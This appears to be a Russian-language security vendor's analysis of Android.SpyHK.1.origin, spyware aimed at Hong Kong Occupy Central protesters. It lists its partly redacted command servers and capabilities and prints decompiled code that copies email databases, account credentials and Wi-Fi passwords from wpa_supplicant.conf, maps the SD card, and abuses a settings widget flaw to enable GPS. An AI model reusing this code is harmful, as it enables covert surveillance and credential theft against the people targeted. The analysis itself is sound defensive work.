Android-троянец, предназначенный для кибершпионажа за гражданами, участвующими в протестном движении «Occupy Central» в Гонконге. Данная вредоносная программа позволяет получить обширную информацию о пользователях, включая их местоположение, круг общения и прочие конфиденциальные сведения. Распространяется под видом приложения для координации действий протестующих.
После запуска троянец удаляет свой значок с главного экрана операционной системы и в дальнейшем функционирует в качестве системного сервиса под названием StreamService, который выполняет всю вредоносную деятельность.
Управляющие серверы шпиона расположены на следующих адресах:
- mm.[xxxx]dy.com
- xx.xx.11.75
- xx.xxx.58.202
При установке связи с контрольным центром Android.SpyHK.1.origin проверяет доступность каждого из указанных доменов, однако приоритет соединения отдается первому из них. Подключаясь к порту 1430 доступного сервера, Android.SpyHK.1.origin при помощи сокета загружает на него подробную информацию о зараженном устройстве, а именно:
- IMEI-идентификатор;
- телефонный номер,
- модель устройства,
- наименование оператора;
- идентификатор SIM-карты;
- данные о максимальной частоте процессора;
- данные о размере оперативной памяти,
- сведения о версии ОС,
- содержимое системных логов;
- МАС-адрес;
- доступно ли Интернет-соединение;
- текущий IP-адрес;
В ответ троянец получает управляющие команды в виде зашифрованных байтов:
try {
v2_9 = new byte[v2_7];
v17.read(v2_9);
v3_3 = b.a(v2_9); //первые 2 байта - непосредственно команда.
v4 = new byte[2];
v17.read(v4);
v16 = b.a(v4); //следующие 2 байта - идентификатор подлинности,
//который отсылается вместе с отчетом
//обратно на управляющий сервер.
v2_9 = new byte[4];
v17.read(v2_9);
int v5 = b.c(v2_9); //следующие 4 байта - указывают на размер
//добавочного параметра команды, которая извлекается далее.
ByteArrayOutputStream v6 = new ByteArrayOutputStream(v5);
byte[] v7 = new byte[1024];
v2_7 = 0;
while(v2_7 < v5) {
int v8 = v17.read(v7);
v2_7 += v8;
v6.write(v7, 0, v8);
}
Android.SpyHK.1.origin способен выполнить на зараженном устройстве следующие действия:
- получить содержимое заданной директории (имена, размер, дата последнего изменения файлов и папок);
- получить GPS-координаты устройства;
- сделать запись в лог-файле;
- отобразить на экране сообщение с заданным текстом;
- выполнить звонок на заданный номер;
- получить информацию об устройстве;
- исполнить заданный shell-скрипт;
- получить расширенный список контактов (включая имя, номер, а также email-адрес);
- получить доступ к СМС-переписке;
- получить историю звонков;
- добавить определенные номера телефонов в список прослушиваемых;
- получить текущий список прослушиваемых номеров;
- загрузить файл с заданного веб-адреса;
- удалить заданный файл с устройства;
- загрузить заданный файл на управляющий сервер;
- активировать диктофонную запись через заданное время;
- активировать диктофонную запись с одновременной ее передачей на сокет управляющего сервера;
- остановить диктофонную запись;
- загрузить на управляющий сервер локальные базы встроенного почтового клиента;
- получить историю веб-бразуера;
- отправить на управляющий сервер информацию о хранящихся на карте памяти файлах и каталогах;
- выполнить сразу несколько команд по сбору конфиденциальной информации и отправить ее на сервер.
Загружаемый с управляющего сервера список телефонных номеров, предназначенных для прослушивания, троянец сохраняет в локальном каталоге /data/data/com.v1/.record/. Данный список имеет следующую структуру:
"in_/out_" + PhoneReceiver.c + "_" + new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date(
System.currentTimeMillis()));
где «in_» – значение для входящих звонков, «out_» – значение для исходящих звонков и «PhoneReceiver.c» – номер абонента, с которым осуществлялся звонок.
Для получения подробной информации о почтовой переписке жертвы Android.SpyHK.1.origin копирует в свою локальную директорию все доступные базы данных встроенного в операционную систему почтового клиента:
public final void run() {
new a();
a.a("cat /data/data/com.android.email/databases/EmailProvider.db >
/data/data/com.v1/email.db");
new a();
a.a("cat /data/data/com.android.email/databases/EmailProviderBody.db >
/data/data/com.v1/emailbody.db");
new a();
a.a("chmod 777 /data/data/com.v1/email.db");
new a();
a.a("chmod 777 /data/data/com.v1/emailbody.db");
}
Далее троянец систематизирует необходимые сведения, формируя локальные файлы /data/data/com.v1/emailAccount.txt и /data/data/com.v1/email.html.
В файл Account.txt помещаются сведения о привязанных к устройству учетных записях электронной почты, включая соответствующий им почтовый адрес, логин и зашифрованное значение пароля:
query("HostAuth", new String[]{"address", "login", "password"}, null, null, null, null, null)
В то же время, файл email.html включает в себя подробную информацию о кэшированных сообщениях электронной почты, включая адресата, отправителя, тему письма, время отправки корреспонденции, а также ее непосредственное содержимое:
query("Message", new String[]{"_id", "displayName", "subject", "timeStamp",
"fromList", "toList"}, null, null, null, null, null);
query("Body", new String[]{"htmlContent"}, "messageKey = ?",
new String[]{v11.getString(v11.getColumnIndex("_id"))}, null, null, null);
Файл email.html форматируется в html-документ:
v10.append(":" + v11.getString(v11.getColumnIndex("fromList")));
v10.append("<br/>");
v10.append(":" + v11.getString(v11.getColumnIndex("toList")));
v10.append("<br/>");
v10.append(":" + v9.format(newDate(Long.valueOf(Long.parseLong(v11.getString(
v11.getColumnIndex("timeStamp")))).longValue())));
v10.append("<br/>");
v10.append("<br/>");
v10.append(":" + v11.getString(v11.getColumnIndex("subject")));
v10.append("<br/>");
v10.append("<br/>");
Cursor v2_1 = v1_3.query("Body", new String[]{"htmlContent"}, "messageKey = ?",
new String[]{v11.getString(v11.getColumnIndex("_id"))},
null, null, null);
if(v2_1.moveToNext()) {
v10.append(v2_1.getString(v2_1.getColumnIndex("htmlContent")));
}
v10.append("<hr color=red/><br/>");
В дальнейшем файлы emailAccount.txt, email.html, email.db и emailbody.db загружаются на удаленный сервер.
Получение информации о сохраненных на карте памяти файлах выполняется следующим образом:
private void b(String arg6) { // значение "arg6" соответствует "/sdcard/"
File[] v2 = new File(arg6).listFiles();
if(v2 != null) {
int v0;
for(v0 = 0; v0 < v2.length; ++v0) {
try {
if(v2[v0].isDirectory()) {
e.a.write(String.valueOf(v2[v0].getAbsolutePath()) + "/");
}
else {
e.a.write(v2[v0].getAbsolutePath());
}
e.a.write("\r\n");
}
catch(IOException v1) {
v1.printStackTrace();
}
if(v2[v0].isDirectory()) {
this.b(v2[v0].getAbsolutePath());
}
}
}
При выполнении команды по кумулятивному сбору различных конфиденциальных данных Android.SpyHK.1.origin отправляет на сокет управляющего сервера следующую информацию:
- cведения о зараженном устройстве;
- сведения о контактах пользователя;
- список телефонных звонков;
- СМС-переписка,
- история посещений веб-браузера,
- сведения об электронной почте;
- информация о файлах на карте памяти;
- информация о сохраненных в памяти устройства Wi-Fi-сетях, включая пароли доступа к ним.
Сведения о Wi-Fi-сетях троянец получает следующим образом:
v3_1 = "/data/data/com.v1/" +
"/data/misc/wifi/wpa_supplicant.conf".substring("/data/misc/wifi/wpa_supplicant.conf"
.lastIndexOf("/") + 1);
new com.v1.a.a();
com.v1.a.a.a("cat " + "/data/misc/wifi/wpa_supplicant.conf" + " > " + v3_1);
new com.v1.a.a();
com.v1.a.a.a("chmod 777 " + v3_1);
Для активации встроенного в мобильное устройство GPS-приемника Android.SpyHK.1.origin может использовать известную уязвимость стандартного системного виджета управления питанием. В результате троянец в некоторых случаях способен отслеживать GPS-координаты даже в том случае, если пользователь запретил работу соответствующей функции:
Intent v0 = new Intent();
v0.setClassName("com.android.settings",
"com.android.settings.widget.SettingsAppWidgetProvider");
v0.addCategory("android.intent.category.ALTERNATIVE");
v0.setData(Uri.parse("custom:3"));
try {
PendingIntent.getBroadcast(this.b, 0, v0, 0).send();
При работе с локальными файлами троянец применяет следующий алгоритм:
v2_10 = b.b(v2_9);
v3_1 = "/data/data/com.v1/" + v2_10.substring(v2_10.lastIndexOf("/") + 1);
new com.v1.a.a();
com.v1.a.a.a("cat " + v2_10 + " > " + v3_1); //переписывает содержимое заданного файла
из своей директории во временный файл
new com.v1.a.a();
com.v1.a.a.a("chmod 777 " + v3_1);
if((new File(v3_1).exists()) && new File(v3_1).length() != 0) {
new g(this, v3_1, v19.h()).start(); //отправляет временный файл на управляющий сервер
}